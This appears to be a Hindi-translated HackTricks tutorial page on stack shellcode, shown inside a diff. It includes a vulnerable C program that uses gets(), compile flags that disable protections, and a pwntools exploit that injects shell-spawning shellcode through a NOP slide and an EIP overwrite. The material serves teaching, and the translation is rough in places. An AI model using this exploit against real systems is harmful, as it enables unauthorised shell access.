* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* यदि आप अपनी कंपनी का **विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** हैकिंग ट्रिक्स को **पीआर** जमा करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में।
</details>

View file

@ -0,0 +1,107 @@
# स्टैक शेलकोड
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
</details>
## मूल जानकारी
**स्टैक शेलकोड** एक तकनीक है जो बाइनरी उत्पीड़न में प्रयोग की जाती है जहाँ हमलावता एक वंशीय कार्यक्रम के स्टैक में शेलकोड लिखता है और फिर **इंस्ट्रक्शन पॉइंटर (IP)** या **विस्तारित इंस्ट्रक्शन पॉइंटर (EIP)** को इस शेलकोड के स्थान पर संशोधित करता है, जिससे यह निषेधात्मक पहुंच या लक्षित निर्देशों को निष्पादित करने के लिए कार्रवाई करता है। यह एक क्लासिक विधि है जो अनधिकृत पहुंच हासिल करने या लक्षित सिस्टम पर विचारशील आदेशों को निष्पादित करने के लिए प्रयोग की जाती है। यहाँ प्रक्रिया का विवरण है, जिसमें एक सरल सी उदाहरण और आपको दिखाया गया है कि आप किस प्रकार से **pwntools** का उपयोग करके पायथन का उपयुक्त शोध लिख सकते हैं।
### सी उदाहरण: एक वंशीय कार्यक्रम
चलो एक वंशीय सी कार्यक्रम का एक सरल उदाहरण देखें:
```c
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}
```
यह प्रोग्राम `gets()` फ़ंक्शन का उपयोग करने के कारण एक बफर ओवरफ़्लो के लिए वंशक्त है।
### Compilation
इस प्रोग्राम को कंपाइल करने के लिए विभिन्न सुरक्षा प्रोटेक्शन को अक्षम करते हुए (एक वंशक्त वातावरण का अनुकरण करने के लिए), आप निम्नलिखित कमांड का उपयोग कर सकते हैं:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
* `-fno-stack-protector`: स्टैक सुरक्षा को निषेधित करता है।
* `-z execstack`: स्टैक को क्रियाशील बनाता है, जो स्टैक पर संग्रहीत शेलकोड को निष्पादित करने के लिए आवश्यक है।
* `-no-pie`: पोजीशन इंडिपेंडेंट एक्जीक्यूटेबल को निष्क्रिय करता है, जिससे हमारे शेलकोड का स्थान जिसमें होगा उसे पूर्वानुमानित करना आसान हो जाता है।
* `-m32`: कार्यक्रम को 32-बिट एक्जीक्यूटेबल के रूप में कंपाइल करता है, अक्स्प्लॉइट विकास में सरलता के लिए अक्सर उपयोग किया जाता है।
### Pwntools का उपयोग करके Python Exploit
यहाँ एक उदाहरण है कि आप **pwntools** का उपयोग करके Python में एक एक्सप्लॉइट लिख सकते हैं जो एक **ret2shellcode** हमला करने के लिए है:
```python
from pwn import *
# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture
# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
# Send the payload
p.sendline(payload)
p.interactive()
```
यह स्क्रिप्ट एक **NOP स्लाइड**, **शेलकोड**, और फिर **EIP** को NOP स्लाइड को पॉइंट करने वाले पते से ओवरराइट करके एक payload बनाता है, जिससे शेलकोड को निष्पादित किया जाता है।
**NOP स्लाइड** (`asm('nop')`) का उपयोग यह सुनिश्चित करने के लिए किया जाता है कि निष्पादन हमारे शेलकोड में "स्लाइड" होगा चाहे वास्तविक पते कुछ भी हो। `p32()` तर्क को अपने बफर के प्रारंभ पते पर एक ओफ़्सेट के साथ समायोजित करें ताकि NOP स्लाइड में लैंड हो सके।
## सुरक्षा
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) को अक्षम कर देना चाहिए ताकि पता हमेशा से विश्वसनीय हो या तो कार्य को स्थानियों के अंदर निष्पादित किया जाएगा या फिर जीत कार्य को कहाँ लोड हो रहा है उसे जानने के लिए कुछ लीक की आवश्यकता होगी।
* [**स्टैक कैनेरीज़**](../common-binary-protections-and-bypasses/stack-canaries/) को भी अक्षम कर देना चाहिए अन्यथा कंप्रोमाइज़्ड EIP रिटर्न पता कभी भी अनुसरण नहीं किया जाएगा।
* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) **स्टैक** सुरक्षा शेलकोड के निष्पादन को स्टैक के अंदर निष्पादित करने से रोकेगा क्योंकि उस क्षेत्र को क्रियाशील नहीं किया जाएगा।
## अन्य उदाहरण
* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) पर **फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें** हैकट्रिक्स और हैकट्रिक्स क्लाउड गिटहब रेपो में PR जमा करके।
</details>